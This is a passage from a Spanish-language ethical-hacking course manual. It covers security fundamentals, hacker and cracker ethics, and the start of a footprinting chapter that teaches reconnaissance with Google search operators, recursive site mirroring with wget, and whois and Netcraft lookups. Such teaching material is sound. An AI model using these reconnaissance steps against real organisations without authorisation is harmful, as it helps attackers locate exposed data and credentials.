+ All Categories
Home > Documents > Seguridad

Seguridad

Date post: 05-Aug-2015
Category:
Upload: holger-chamba
View: 205 times
Download: 7 times
Share this document with a friend
Popular Tags:
128
Transcript
Page 1: Seguridad
Page 2: Seguridad

"If you're a good hacker, everyone knows your name.If you're a great hacker, no one knows who you are"

This document is licensed under the Attribution-ShareAlike 3.0 Unported license, available at http://creativecommons.org/licenses/by-sa/3.0/.

Page 3: Seguridad

INDICEINFORMACION DEL AUTOR..........................................................................................................4INTRODUCCION A LA SEGURIDAD...............................................................................................5FILOSOFIA HACKER.....................................................................................................................12FOOTPRINTING............................................................................................................................17GOOGLE HACKING......................................................................................................................25SCANNING & ENUMERATION......................................................................................................29SYSTEM HACKING.......................................................................................................................33DENEGACION DE SERVICIO.......................................................................................................39PREVINIENDO UN DoS.................................................................................................................45INGENIERIA SOCIAL.....................................................................................................................48HIJACKING....................................................................................................................................58SESSION HIJACKING...................................................................................................................59VULNERABILIDADES EN APLICACIONES WEB..........................................................................61W3AF............................................................................................................................................. 63EVASION DE FIREWALLS............................................................................................................76EVASION DE IDS..........................................................................................................................83HONEYPOTS.................................................................................................................................87CRIPTOGRAFIA – PROTECCION DE DATOS..............................................................................91FIRMA DIGITAL ............................................................................................................................93GPG (Gnu Privacy Guard)..............................................................................................................94TALLER DE APACHE SECURITY...............................................................................................100TALLER DE IPTABLES................................................................................................................106TALLER DE SNORT....................................................................................................................124

Page 4: Seguridad

INFORMACION DEL AUTOR

José María Schenone

Profesional con más de 15 años de experiencia real trabajando en diferentes empresas y organizmos del estado coordinando y realizando implementaciones con Linux.

Hace 3 años que se desempeña como instructor en cursos relacionados con Linux y Seguridad Informática.

Vive en Buenos Aires y actualmente es el CEO y Director de su propia consultora.

• Coordinador del área de capacitación profesional en dotLinuX Training• Consultor en Seguridad y GNU/Linux• Administrador de Redes Linux con mas de 15 años de experiencia• Consultor para el proyecto "Debian Linux" en Argentina (http://www.debian.org)• Fundador de la Asociación Argentina de Hackers Eticos (http://www.oahe.org.ar)• Coordinador de las Conferencias Latinoamericanas de Seguridad

(http://www.conlaseg.org)

Como consultor independiente, desarrolló y participó en la implementación de soluciones en lugares como:

• Ministerio de Defensa de la República Argentina• Dirección General de Administración de Infracciones (Gobierno de la Ciudad de

Buenos Aires)• Unidad Administrativa de Control de Faltas (Gobierno de la Ciudad de Buenos Aires)• Educ.ar• Sistema de Observaciones y Recomendaciones para el Gobierno de la Ciudad de

Buenos Aires• Facultad de Filosofía y Letras (UBA)• Instituto Nacional de Servicios Sociales para Jubilados y Pensionados• Caja de Valores S.A. - Central Depositaria Argentina• Telecom Personal Argentina• Techint Argentina

Forma de Contacto para Consultas

• Email: [email protected]

- 4 -

Page 5: Seguridad

INTRODUCCION A LA SEGURIDAD

¿Qué es la Seguridad Informática?La seguridad informática es el área de la informática que se enfoca en la protección de la infraestructura computacional y todo lo relacionado con esta (incluyendo la información contenida). Para ello existen una serie de estándares, protocolos, métodos, reglas, herramientas y leyes concebidas para minimizar los posibles riesgos a la infraestructura o a la información. La seguridad informática comprende software, bases de datos, metadatos, archivos y todo lo que la organización valore (activo) y signifique un riesgo si ésta llega a manos de otras personas. Este tipo de información se conoce como información privilegiada o confidencial.

El concepto de seguridad de la información no debe ser confundido con el de seguridad informática, ya que este último sólo se encarga de la seguridad en el medio informático, pudiendo encontrar información en diferentes medios o formas.

Objetivos de la seguridad informática La seguridad informática está concebida para proteger los activos informáticos, entre los que se encuentran:

• La información contenida : Se ha convertido en uno de los elementos más importantes dentro de una organización. La seguridad informática debe ser administrada según los criterios establecidos por los administradores y supervisores, evitando que usuarios externos y no autorizados puedan acceder a ella sin autorización. De lo contrario la organización corre el riesgo de que la información sea utilizada maliciosamente para obtener ventajas de ella o que sea manipulada, ocasionando lecturas erradas o incompletas de la misma. Otra función de la seguridad informática en esta área es la de asegurar el acceso a la información en el momento oportuno, incluyendo respaldos de la misma en caso de que esta sufra daños o pérdida producto de accidentes, atentados o desastres.

• La infraestructura computacional : Una parte fundamental para el almacenamiento y gestión de la información, así como para el funcionamiento mismo de la organización. La función de la seguridad informática en esta área es velar que los equipos funcionen adecuadamente y prever en caso de falla planes de robos, incendios, boicot, desastres naturales, fallas en el suministro eléctrico y cualquier otro factor que atente contra la infraestructura informática.

• Los usuarios : Son las personas que utilizan la estructura tecnológica, zona de comunicaciones y que gestionan la información. La seguridad informática debe establecer normas que minimicen los riesgos a la información o infraestructura informática. Estas normas incluyen horarios de funcionamiento, restricciones a ciertos lugares, autorizaciones, denegaciones, perfiles de usuario, planes de emergencia, protocolos y todo lo necesario que permita un buen nivel de seguridad

- 5 -

Page 6: Seguridad

informática minimizando el impacto en el desempeño de los funcionarios y de la organización en general y como principal contribuyente al uso de programas realizados por programadores.

Las amenazas Una vez que la programación y el funcionamiento de un dispositivo de almacenamiento (o transmisión) de la información se consideran seguras, todavía deben ser tenidos en cuenta las circunstancias "no informáticas" que pueden afectar a los datos, las cuales son a menudo imprevisibles o inevitables, de modo que la única protección posible es la redundancia (en el caso de los datos) y la descentralización -por ejemplo mediante estructura de redes- (en el caso de las comunicaciones).

Estos fenómenos pueden ser causados por:

• El usuario: causa del mayor problema ligado a la seguridad de un sistema informático (porque no le importa, no se da cuenta o a propósito).

• Programas maliciosos: programas destinados a perjudicar o a hacer un uso ilícito de los recursos del sistema. Es instalado (por inatención o maldad) en el ordenador abriendo una puerta a intrusos o bien modificando los datos. Estos programas pueden ser un virus informático, un gusano informático, un troyano, una bomba lógica o un programa espía o Spyware.

• Un intruso: persona que consigue acceder a los datos o programas de los cuales no tiene acceso permitido (cracker, defacer, script kiddie o Script boy, viruxer, etc.).

• Un siniestro (robo, incendio, inundación): una mala manipulación o una malintención derivan a la pérdida del material o de los archivos.

• El personal interno de Sistemas: Las pujas de poder que llevan a disociaciones entre los sectores y soluciones incompatibles para la seguridad informática.

Tipos de amenaza El hecho de conectar una red a un entorno externo nos da la posibilidad de que algún atacante pueda entrar en ella, con esto, se puede hacer robo de información o alterar el funcionamiento de la red. Sin embargo el hecho de que la red no sea conectada a un entorno externo no nos garantiza la seguridad de la misma. De acuerdo con el Computer Security Institute (CSI) de San Francisco aproximadamente entre 60 y 80 por ciento de los incidentes de red son causados desde adentro de la misma. Basado en esto podemos decir que existen 2 tipos de amenazas:

• Amenazas internas: Generalmente estas amenazas pueden ser más serias que las externas por varias razones como son:

• Los usuarios conocen la red y saben cómo es su funcionamiento

• Tienen algún nivel de acceso a la red por las mismas necesidades de su trabajo

- 6 -

Page 7: Seguridad

• Los IPS y Firewalls son mecanismos no efectivos en amenazas internas

Esta situación se presenta gracias a los esquemas ineficientes de seguridad con los que cuentan la mayoría de las compañías a nivel mundial, y porque no existe conocimiento relacionado con la planeación de un esquema de seguridad eficiente que proteja los recursos informáticos de las actuales amenazas combinadas.

El resultado es la violación de los sistemas, provocando la pérdida o modificación de los datos sensibles de la organización, lo que puede representar un daño con valor de miles o millones de dólares.

• Amenazas externas: Son aquellas amenazas que se originan de afuera de la red. Al no tener información certera de la red, un atacante tiene que realizar ciertos pasos para poder conocer qué es lo que hay en ella y buscar la manera de atacarla. La ventaja que se tiene en este caso es que el administrador de la red puede prevenir una buena parte de los ataques externos.

La amenaza informática del futuro Si en un momento el objetivo de los ataques fue cambiar las plataformas tecnológicas ahora las tendencias cibercriminales indican que la nueva modalidad es manipular los significados de la información digital. El área semántica, era reservada para los humanos, se convirtió ahora en el núcleo de los ataques debido a la evolución de la Web 2.0 y las redes sociales, factores que llevaron al nacimiento de la generación 3.0.

• Se puede afirmar que “la Web 3.0 otorga contenidos y significados de manera tal que pueden ser comprendidos por las computadoras, las cuales -por medio de técnicas de inteligencia artificial- son capaces de emular y mejorar la obtención de conocimiento, hasta el momento reservada a las personas”.

• Es decir, se trata de dotar de significado a las páginas Web, y de ahí el nombre de Web semántica o Sociedad del Conocimiento, como evolución de la ya pasada Sociedad de la Información

En este sentido, las amenazas informáticas que viene en el futuro ya no son con la inclusión de troyanos en los sistemas o softwares espías, sino con el hecho de que los ataques se han profesionalizado y manipulan el significado del contenido virtual.

• “La Web 3.0, basada en conceptos como elaborar, compartir y significar, está representando un desafío para los hackers que ya no utilizan las plataformas convencionales de ataque, sino que optan por modificar los significados del contenido digital, provocando así la confusión lógica del usuario y permitiendo de este modo la intrusión en los sistemas”, La amenaza ya no solicita la clave de homebanking del desprevenido usuario, sino que directamente modifica el balance de la cuenta, asustando al internauta y, a partir de allí, sí efectuar el robo del capital”.

Para no ser presa de esta nueva ola de ataques más sutiles, Se recomienda:

• Mantener las soluciones activadas y actualizadas.

• Evitar realizar operaciones comerciales en computadoras de uso público.

- 7 -

Page 8: Seguridad

• Verificar los archivos adjuntos de mensajes sospechosos y evitar su descarga en caso de duda.

Análisis de riesgos El activo más importante que se posee es la información y, por lo tanto, deben existir técnicas que la aseguren, más allá de la seguridad física que se establezca sobre los equipos en los cuales se almacena. Estas técnicas las brinda la seguridad lógica que consiste en la aplicación de barreras y procedimientos que resguardan el acceso a los datos y sólo permiten acceder a ellos a las personas autorizadas para hacerlo.

Existe un viejo dicho en la seguridad informática que dicta: "lo que no está permitido debe estar prohibido" y ésta debe ser la meta perseguida.

Los medios para conseguirlo son:

1. Restringir el acceso (de personas de la organización y de las que no lo son) a los programas y archivos.

2. Asegurar que los operadores puedan trabajar pero que no puedan modificar los programas ni los archivos que no correspondan (sin una supervisión minuciosa).

3. Asegurar que se utilicen los datos, archivos y programas correctos en/y/por el procedimiento elegido.

4. Asegurar que la información transmitida sea la misma que reciba el destinatario al cual se ha enviado y que no le llegue a otro.

5. Asegurar que existan sistemas y pasos de emergencia alternativos de transmisión entre diferentes puntos.

6. Organizar a cada uno de los empleados por jerarquía informática, con claves distintas y permisos bien establecidos, en todos y cada uno de los sistemas o aplicaciones empleadas.

7. Actualizar constantemente las contraseñas de accesos a los sistemas de cómputo.

Puesta en marcha de una política de seguridad Actualmente las legislaciones nacionales de los Estados, obligan a las empresas, instituciones públicas a implantar una política de seguridad. Ej: En España la Ley Orgánica de Protección de Datos o también llamada LOPD y su normativa de desarrollo.

Generalmente se ocupa exclusivamente a asegurar los derechos de acceso a los datos y recursos con las herramientas de control y mecanismos de identificación. Estos mecanismos permiten saber que los operadores tienen sólo los permisos que se les dio.

La seguridad informática debe ser estudiada para que no impida el trabajo de los operadores en lo que les es necesario y que puedan utilizar el sistema informático con toda confianza. Por eso en lo referente a elaborar una política de seguridad, conviene:

- 8 -

Page 9: Seguridad

• Elaborar reglas y procedimientos para cada servicio de la organización.

• Definir las acciones a emprender y elegir las personas a contactar en caso de detectar una posible intrusión

• Sensibilizar a los operadores con los problemas ligados con la seguridad de los sistemas informáticos.

Los derechos de acceso de los operadores deben ser definidos por los responsables jerárquicos y no por los administradores informáticos, los cuales tienen que conseguir que los recursos y derechos de acceso sean coherentes con la política de seguridad definida. Además, como el administrador suele ser el único en conocer perfectamente el sistema, tiene que derivar a la directiva cualquier problema e información relevante sobre la seguridad, y eventualmente aconsejar estrategias a poner en marcha, así como ser el punto de entrada de la comunicación a los trabajadores sobre problemas y recomendaciones en término de seguridad informática.

Técnicas para asegurar el sistema • Codificar la información: Criptología, Criptografía y Criptociencia, contraseñas

difíciles de averiguar a partir de datos personales del individuo.

• Vigilancia de red. Zona desmilitarizada

• Tecnologías repelentes o protectoras: cortafuegos, sistema de detección de intrusos - antispyware, antivirus, llaves para protección de software, etc. Mantener los sistemas de información con las actualizaciones que más impacten en la seguridad.

• Sistema de Respaldo Remoto. Servicio de backup remoto

Respaldo de Información La información constituye el activo más importante de las empresas, pudiendo verse afectada por muchos factores tales como robos, incendios, fallas de disco, virus u otros. Desde el punto de vista de la empresa, uno de los problemas más importantes que debe resolver es la protección permanente de su información crítica.

La medida más eficiente para la protección de los datos es determinar una buena política de copias de seguridad o backups: Este debe incluir copias de seguridad completa (los datos son almacenados en su totalidad la primera vez) y copias de seguridad incrementales (sólo se copian los archivos creados o modificados desde el último backup). Es vital para las empresas elaborar un plan de backup en función del volumen de información generada y la cantidad de equipos críticos.

Un buen sistema de respaldo debe contar con ciertas características indispensables:

• Continuo : El respaldo de datos debe ser completamente automático y continuo. Debe funcionar de forma transparente, sin intervenir en las tareas que se encuentra realizando el usuario.

• Seguro : Muchos softwares de respaldo incluyen cifrado de datos (128-448 bits), lo

- 9 -

Page 10: Seguridad

cual debe ser hecho localmente en el equipo antes del envío de la información.

• Remoto : Los datos deben quedar alojados en dependencias alejadas de la empresa.

• Mantención de versiones anteriores de los datos : Se debe contar con un sistema que permita la recuperación de versiones diarias, semanales y mensuales de los datos.

Hoy en día los sistemas de respaldo de información online (Servicio de backup remoto) están ganando terreno en las empresas y organismos gubernamentales. La mayoría de los sistemas modernos de respaldo de información online cuentan con las máximas medidas de seguridad y disponibilidad de datos. Estos sistemas permiten a las empresas crecer en volumen de información sin tener que estar preocupados de aumentar su dotación física de servidores y sistemas de almacenamiento.

Consideraciones de software Tener instalado en la máquina únicamente el software necesario reduce riesgos. Así mismo tener controlado el software asegura la calidad de la procedencia del mismo (el software obtenido de forma ilegal o sin garantías aumenta los riesgos). En todo caso un inventario de software proporciona un método correcto de asegurar la reinstalación en caso de desastre. El software con métodos de instalación rápidos facilita también la reinstalación en caso de contingencia.

Existe un software que es conocido por la cantidad de agujeros de seguridad que introduce. Se pueden buscar alternativas que proporcionen iguales funcionalidades pero permitiendo una seguridad extra.

Consideraciones de una red Los puntos de entrada en la red son generalmente el correo, las páginas web y la entrada de archivos desde discos, o de ordenadores ajenos, como portátiles.

Mantener al máximo el número de recursos de red sólo en modo lectura, impide que ordenadores infectados propaguen virus. En el mismo sentido se pueden reducir los permisos de los usuarios al mínimo.

Se pueden centralizar los datos de forma que detectores de virus en modo batch puedan trabajar durante el tiempo inactivo de las máquinas.

Controlar y monitorizar el acceso a Internet puede detectar, en fases de recuperación, cómo se ha introducido el virus.

- 10 -

Page 11: Seguridad

Algunas afirmaciones erróneas comunes acerca de la seguridad

Mi sistema no es importante para un cracker

Esta afirmación se basa en la idea de que no introducir contraseñas seguras en una empresa no entraña riesgos pues ¿quién va a querer obtener información mía?. Sin embargo, dado que los métodos de contagio se realizan por medio de programas automáticos, desde unas máquinas a otras, estos no distinguen buenos de malos, interesantes de no interesantes, etc. Por tanto abrir sistemas y dejarlos sin claves es facilitar la vida a los virus.

Estoy protegido pues no abro archivos que no conozco

Esto es falso, pues existen múltiples formas de contagio, además los programas realizan acciones sin la supervisión del usuario poniendo en riesgo los sistemas.

Como tengo antivirus estoy protegido

En general los programas antivirus no son capaces de detectar todas las posibles formas de contagio existentes, ni las nuevas que pudieran aparecer conforme los ordenadores aumenten las capacidades de comunicación, además los antivirus son vulnerables a desbordamientos de búfer que hacen que la seguridad del sistema operativo se vea más afectada aún.

Como dispongo de un firewall no me contagio

Esto únicamente proporciona una limitada capacidad de respuesta. Las formas de infectarse en una red son múltiples. Unas provienen directamente de accesos al sistema (de lo que protege un firewall) y otras de conexiones que se realizan (de las que no me protege). Emplear usuarios con altos privilegios para realizar conexiones puede entrañar riesgos, además los firewalls de aplicación (los más usados) no brindan protección suficiente contra el spoofing.

Tengo un servidor web cuyo sistema operativo es un Unix actualizado a la fecha

Puede que este protegido contra ataques directamente hacia el núcleo, pero si alguna de las aplicaciones web (PHP, Perl, Cpanel, etc.) está desactualizada, un ataque sobre algún script de dicha aplicación puede permitir que el atacante abra una shell y por ende ejecutar comandos en el unix.

Organismos oficiales de seguridad informática Existen organismos oficiales encargados de asegurar servicios de prevención de riesgos y asistencia a los tratamientos de incidencias, tales como el CERT/CC (Computer Emergency Response Team Coordination Center) del SEI (Software Engineering Institute) de la Carnegie Mellon University el cual es un centro de alerta y reacción frente a los ataques informáticos, destinados a las empresas o administradores, pero generalmente estas informaciones son accesibles a todo el mundo.

- 11 -

Page 12: Seguridad

FILOSOFIA HACKER

¿Qué es el “ethical hacking”?El "ethical hacking" o "ética hacker" es una nueva ética surgida de y aplicada a las comunidades virtuales o cibercomunidades, aunque no exclusivamente. La expresión se suele atribuir al periodista Steven Levy en su ensayo seminal Hackers: Heroes of the Computer Revolution, publicado en 1984, donde describe y enuncia con detalle los principios morales que surgieron a finales de los años cincuenta en el Laboratorio de Inteligencia Artificial del MIT y, en general, en la cultura de los aficionados a la informática de los años sesenta y setenta. Aquellos principios --que se resumen en el acceso libre a la información y en que la informática puede mejorar la calidad de vida de las personas-- han constituido la base de la mayor parte de definiciones que se han elaborado posteriormente. Uno de sus mentores actuales ha sido el finlandés Pekka Himanen.

Himanen en su obra “La ética del hacker y el espíritu de la era de la información” (que contiene un prólogo de Linus Torvalds y un epílogo de Manuel Castells), comienza por rescatar una de las acepciones originales del término 'hacker'. Según Himanen, un hacker no es un delincuente, vándalo o pirata informático con altos conocimientos técnicos (a los que prefiere llamar crackers), sino que hacker es todo aquel que trabaja con gran pasión y entusiasmo por lo que hace. De ahí que el término 'hacker' pueda y deba extrapolarse a otros ámbitos como ser, por ejemplo, el científico. Así Himanen escribe,

En el centro de nuestra era tecnológica se hallan unas personas que se autodenominan hackers. Se definen a sí mismos como personas que se dedican a programar de manera apasionada y creen que es un deber para ellos compartir la información y elaborar software gratuito. No hay que confundirlos con los crackers, los usuarios destructivos cuyo objetivo es el de crear virus e introducirse en otros sistemas: un hacker es un experto o un entusiasta de cualquier tipo que puede dedicarse o no a la informática. En este sentido, la ética hacker es una nueva moral que desafía la ética protestante del trabajo, tal como la expuso hace casi un siglo Max Weber en su obra clásica La ética protestante y el espíritu del capitalismo, y que está fundada en la laboriosidad diligente, la aceptación de la rutina, el valor del dinero y la preocupación por la cuenta de resultados.

Frente a la moral presentada por Weber, la ética del trabajo para el hacker se funda en el valor de la creatividad, y consiste en combinar la pasión con la libertad. El dinero deja de ser un valor en sí mismo y el beneficio se cifra en metas como el valor social y el libre acceso, la transparencia y la franqueza.

Valores fundamentales La ética hacker es una ética de tipo axiológico, es decir, una ética basada en una determinada serie de valores. Himanen rescata algunos fundamentales, a saber:

• Pasión

• Libertad

- 12 -

Page 13: Seguridad

• Conciencia social

• Verdad

• Anti-corrupción

• Lucha contra la alienación del hombre

• Igualdad social

• Libre acceso a la información (conocimiento libre)

• Valor social (reconocimiento entre semejantes)

• Accesibilidad

• Actividad

• Preocupación responsable

• Curiosidad

• Creatividad

Otros aspectos que resaltan de esta ética, es una frase muy sonada y maravillosa: "Ningún problema debería resolverse 2 veces", aludiendo a que el tiempo de los demás es muy valioso, y cuando resuelvas algo comunicalo a todos tus compañeros hackers para que puedan resolver otros problemas, aumentando la productividad.

¿Qué es un “cracker”?El término cracker (del inglés crack, romper) se utiliza para referirse a las personas que rompen algún sistema de seguridad. Los crackers pueden estar motivados por una multitud de razones, incluyendo fines de lucro, protesta, o simplemente por el desafío de hacerlo.

A partir de 1980 había aparecido la cultura hacker, programadores aficionados o personas destacadas o con un importante conocimiento de informática. Estos programadores no solían estar del lado de la ilegalidad, y aunque algunos conocían técnicas para burlar sistemas de seguridad, se mantenían dentro del ámbito legal. Pero con el tiempo surgieron personas que utilizando su conocimiento en informática, aprovechaban debilidades o bugs de algunos sistemas informáticos y los crackeaban, es decir, burlaban el sistema de seguridad muchas veces entrando en la ilegalidad y algunos considerando estas prácticas como "malas". A estas personas se las continuó llamando hackers, por lo que alrededor de 1985 los hackers "originales" empezaron a llamarlos crackers en contraposición al término hacker, en defensa de éstos últimos por el uso incorrecto del término. Por ello los crackers son criticados por la mayoría de hackers, por el desprestigio que les supone ante la opinión pública y las empresas ya que muchas veces, inclusive en los medios de comunicación, no hacen diferencia entre el término hacker y cracker creando confusión sobre la definición de los mismos y aparentando un significado similar.

- 13 -

Page 14: Seguridad

Distintos usos del término Se suele referir a una persona como cracker cuando:

• Mediante ingeniería inversa realiza: seriales, keygens y cracks, los cuales sirven para modificar el comportamiento o ampliar la funcionalidad del software o hardware original al que se aplican, y se los suele utilizar para saltearse restricciones como por ejemplo que un programa deje de funcionar a un determinado tiempo, o que sólo funcione si es instalado desde un CD original, etc.

• Viola la seguridad de un sistema informático y, por ejemplo, toma control de este, obtiene información, borra datos, etc.

En ambos casos dichas prácticas suelen ser ilegales y penadas por la ley.

Legalidad Muchos programas informáticos, usualmente los privativos, no permiten la modificación o estudio del funcionamiento del programa, esto hace que el hecho de realizar ingeniería inversa para poder generar un serial o un crack sea ilegal. En ocasiones el cracking es la única manera de realizar cambios sobre software para el que su fabricante no presta soporte, especialmente cuando lo que se quiere es, o corregir defectos, o exportar datos a nuevas aplicaciones, en estos casos en la mayoría de legislaciones no se considera el cracking como actividad ilegal,[cita requerida] incluso a veces la empresa que desarrolló el software ya no existe o ya no posee los derechos sobre el producto.

A su vez cuando una persona penetra en un sistema ajeno sin su autorización, se comete una violación a la propiedad privada, se suele dar el ejemplo de que es ilegal entrar sin permiso a la casa de otra persona, por más de que la puerta esté abierta. Aunque también las tácticas utilizadas por los crackers para violar los sistemas de seguridad suelen ser utilizadas por empresas de seguridad informática u otras personas para testear la seguridad de un programa o computadora, en dicho caso como se tiene el permiso para realizar el "ataque" o bien, es el mismo dueño de la computadora el que lo realiza, ya no es una práctica ilegal y entraría en disputa también el uso del término cracker para dichos actos, por esto se han creado diversas leyes que tratan de solucionar estas diferencias.

¿Qué es un “hacker”?Un hacker es una persona apasionada por la seguridad informática. Esto concierne principalmente a entradas remotas no autorizadas por medio de redes de comunicación como Internet ("Black hats"). Pero también incluye a aquellos que depuran y arreglan errores en los sistemas ("White hats") y a los de moral ambigua como son los "Grey hats".

Los hackers son son una comunidad de entusiastas programadores y diseñadores de sistemas originada en los sesenta alrededor del Instituto Tecnológico de Massachusetts (MIT), el Tech Model Railroad Club (TMRC) y el Laboratorio de Inteligencia Artificial del MIT. Esta comunidad se caracteriza por el lanzamiento del movimiento de software libre. La World Wide Web e Internet en sí misma son creaciones de hackers. El RFC 13924 amplia este significado como "persona que se disfruta de un conocimiento profundo del

- 14 -

Page 15: Seguridad

funcionamiento interno de un sistema, en particular de computadoras y redes informáticas"

Muchos hackers pertenecen a la comunidad de aficionados a la informática doméstica, centrada en el hardware posterior a los setenta y en el software (juegos de ordenador, crackeo de software, la demoscene) de entre los ochenta/noventa.

En la actualidad el término “hacker” se utiliza de forma corriente para referirse mayormente a los criminales informáticos, debido a su utilización masiva por parte de los medios de comunicación desde la década de 1980. A los criminales se le pueden sumar los llamados "script kiddies", gente que invade computadoras, usando programas escritos por otros, y que tiene muy poco conocimiento sobre como funcionan. Este uso parcialmente incorrecto se ha vuelto tan predominante que, en general, un gran segmento de la población no es consciente de que existen diferentes significados.

Mientras que los hackers aficionados reconocen los tres tipos de hackers y los hackers de la seguridad informática aceptan todos los usos del término, los hackers del software libre consideran la referencia a intrusión informática como un uso incorrecto de la palabra, y se refieren a los que rompen los sistemas de seguridad como "crackers" (analogía de "safecracker", que en español se traduce como "un ladrón de cajas fuertes").

Controversia y ambigüedad En un principio se utilizaba "hack" como verbo para expresar "perder el tiempo" (e.j. "Puedo hackear con el ordenador"), el significado del término ha cambiado a lo largo de décadas desde que empezó a utilizarse en un contexto informático. Como su uso se ha extendido más ampliamente, el significado primario de la palabra, por parte de los nuevos usuarios, ha pasado a uno que entra en conflicto con el énfasis original.

El Emblema Hacker El Emblema Hacker fue propuesto primero en Octubre de 2003 por Eric S. Raymond, alegando la necesidad de una unificación y un símbolo reconocible para la percepción de la cultura hacker.

Esto no se refiere a la acción de infringir ó irrumpir sin permiso en los computadores/ordenadores. Tal acción es realizada por los llamados crackers.

El emblema Hacker

- 15 -

Page 16: Seguridad

Raymond ha dicho que uno no pretende ser un hacker sólo para mostrar este emblema, pero sugiere que:

"el uso de este emblema expresa la solidaridad con los objetivos y valores de los hackers, y la forma de vivir de un hacker"

La imagen en sí misma es una representación de un planeador (Glider), una formación en el Juego de la vida de John Conway que viaja en todos los ámbitos. Se descubrió por primera vez por Richard K. Guy. Es la más pequeña nave espacial, y se desplaza en forma diagonal a una velocidad de c/4. El planeador es a menudo producido a partir de generaciones preconfiguradas aleatorias.

Los planeadores son importantes para el juego de la vida porque son producidas con facilidad, pueden ser colisionado entre sí para formar objetos más complejos, y puede utilizarse para transmitir información a largas distancias.

Eric S. Raymond ha propuesto al planeador como un emblema para representar a los hackers porque:

• El planeador (Glider) "nació casi al mismo tiempo que el Internet y Unix".

• El Juego de la vida hace un llamamiento a los hackers.

- 16 -

Page 17: Seguridad

FOOTPRINTING

¿Qúe es el Footprinting?El Footprinting consiste en la búsqueda de toda la información pública, bien porque haya sido publicada a propósito o bien porque haya sido publicada por desconocimiento (abierta, y por tanto no estaremos incurriendo en ningún delito, además la entidad ni debería detectarlo) que pueda haber sobre el sistema que se va a auditar, es decir, buscaremos todas las huellas posibles, desde direcciones IP, servidores internos, cuentas de correo de los usuarios, nombres de máquinas, información del registrador del dominio, tipos de servidores, archivos con cuentas y/o credenciales de usuarios, impresoras, cámaras IP, metadatos, etc. Cualquier dato que nos pueda ser de utilidad para lanzar distintos ataques en las fases posteriores de la auditoría.

Si enumeramos los pasos genéricos para realizar un “Test de Intrusión”, el proceso de Footprinting sería el primero de ellos:

• Footprinting• Fingerprinting• Análisis de vulnerabilidades• Explotación de vulnerabilidades• Generación de informes

En este capitulo veremos las practicas más comunes para realizar una búsqueda de información.Pongamos como ejemplo que tenemos que auditar al instituto que tiene en el dominio www.dotlinux.com.ar su sitio Web y desde el que se pueden conectar a distintos servicios que ofrece.

Visitar el sitio WebEl primer paso será evidentemente entrar en el sitio Web que vamos a auditar. Deberemos navegar por todas sus páginas y aplicaciones, ya que nunca sabemos que nos vamos a encontrar. Es habitual, sobretodo en sitios Web muy grandes, que se dejen olvidados enlaces a sitios que no deberían estar, o algún error en una llamada a BBDD (algo más común de lo que se piensa… ¿verdad? ). Tras hacernos una idea del estado de la web continuaremos con el siguiente paso.

¿Qué saben los buscadores de nuestro objetivo?El segundo paso de cualquier proceso de Footprinting sería preguntar a Google, Bing, etc. por el dominio del que queremos obtener información. Lo bueno (o malo según se mire…) de los buscadores es que sus crawlers suelen indexar en ocasiones ciertas páginas que no deberían haberse publicado, pero que han estado cierto tiempo visibles desde Internet mientras se estaban probando, y han quedado cacheadas en Google. Por lo tanto

- 17 -

Page 18: Seguridad

podríamos verlas mirando la caché o con algún servicio como “archive.org”Continuaremos con las búsquedas hacking, utilizando diferentes verbos para refinar un poco más las búsquedas. Por ejemplo, es interesante ver que saben o dicen los demás de nuestro objetivo, para ello podemos ayudarnos de la siguiente búsqueda en Google, donde el “-“ indíca que queremos ver todos los resultados menos los del dominio objetivo:

dotlinux -site:dotlinux.com.ar

Algunos verbos a destacar serían:• site: para listar toda la información de un dominio concreto.• filetype o ext: para buscar archivos de un formato determinado, por ejemplo pdf, rdp

(de escritorio remoto), imágenes png, jpg, etc. para obtener información EXIF y un largo etcétera.

• intitle: para buscar páginas con ciertas palabras en el campo title• inurl: para buscar páginas con ciertas palabras en la URL.• O buscar por ejemplo por la frase “index of” para encontrar listados de archivos de

ftps, etc.

Una vez que hayamos realizado algunas búsquedas específicas será interesante listar todas las páginas que pendan del dominio raíz. Para ello podemos ayudarnos de la búsqueda:site:dotlinux.com.ar

En este punto podríamos leernos el código fuente de las distintas páginas encontradas, para ver si hay comentarios escritos por los programadores (algo común) u otros datos que puedan ser de utilidad. Por ejemplo, en una ocasión me encontré con un comentario muy curioso que decía algo como lo siguiente:

<!—Comentario del Diseñador al Programador, el usuario para conectarse a la BBDD es PEPITO y la clave MENGANITO-->

Si quieren trabajar un poco menos pueden descargarse el sitio web entero con la herramienta wget y hacer búsquedas directamente sobre la carpeta donde esté el sitio web descargado utilizando un grep, que realiza búsquedas muy rápidas sobre el contenido de los archivos de una carpeta.Wget puede trabajar bajando archivos en forma recursiva mediante el protocolo HTTP o FTP.La sintaxis de URL utilizada es la estándar:http://host[:puerto]/pathftp://[username[:password]@]host/path/archivo

Normalmente no se necesitan opciones, salvo que se desee modificar el comportamiento estándar de wget. La lista de las opciones más comunes en el uso de wget es la siguiente:

• -h help• -v verbose

- 18 -

Page 19: Seguridad

• -nv no verbose (muestra solo mensajes de error)• -q quiet (no muestra mensajes)• -i filename lee la lista de URLs de 'filename'• --follow-ftp sigue enlaces FTP desde documentos HTML• -l depth cambia el nivel de recursividad a 'depth' (default 5)• -r modo recursivo• -nc no baja los archivos ya bajados (permite seguir de donde nos quedamos la

última vez)

Para más datos sobre su utilización chequear 'man wget' e 'info wget'.Ahora que tenemos mas informacion sobre los sitios, podremos hacer una consulta rapida para saber la ubicación del servidor y su IP utilizando el servicio de www.ip-adress.com/whoisTambién podremos encontrarnos con que varios dominios compartan una IP (virtual hosts), para buscarlos nos será de especial utilidad el buscador Bing con su verbo “IP”

Servicios Web de búsqueda de información de un dominioEl siguiente paso que vamos a seguir en la búsqueda de información será el uso de distintos servicios Web que hay por Internet y que nos permitirán analizar ciertos datos del dominio objetivo como por ejemplo su dirección IP, los subdominios que cuelgan del dominio principal, su registrador mediante consultas Whois, su localización en mapas, trazas, servidores de DNS, etc.

• Netcraft (http://searchdns.netcraft.com)Este servicio nos permitirá analizar la información de un determinado dominio, proporcionándonos datos como sus direcciones IP, Servidores Web, Sistemas Operativos, etc.

• Cuwhois (http://www.cuwhois.com/)Una auténtica navaja suiza. En la parte superior de la página tenemos enlazadas todas las herramientas que incorpora:Entre los datos más interesantes que nos podrá aportar se encuentran la IP, Servidores DNS, Registrador del dominio, País, Idioma, Lenguaje de programación del sitio Web, codificación, modelo del Servidor Web, la posición en distintos rankings, feeds, incluso si comparte servidor Web con otras páginas nos proporcionará un listado con sus vecinos.

• IPTools (http://www.iptools.com/) Es otro servicio Web parecido a Cuwhois que incorpora gran cantidad de herramientas.

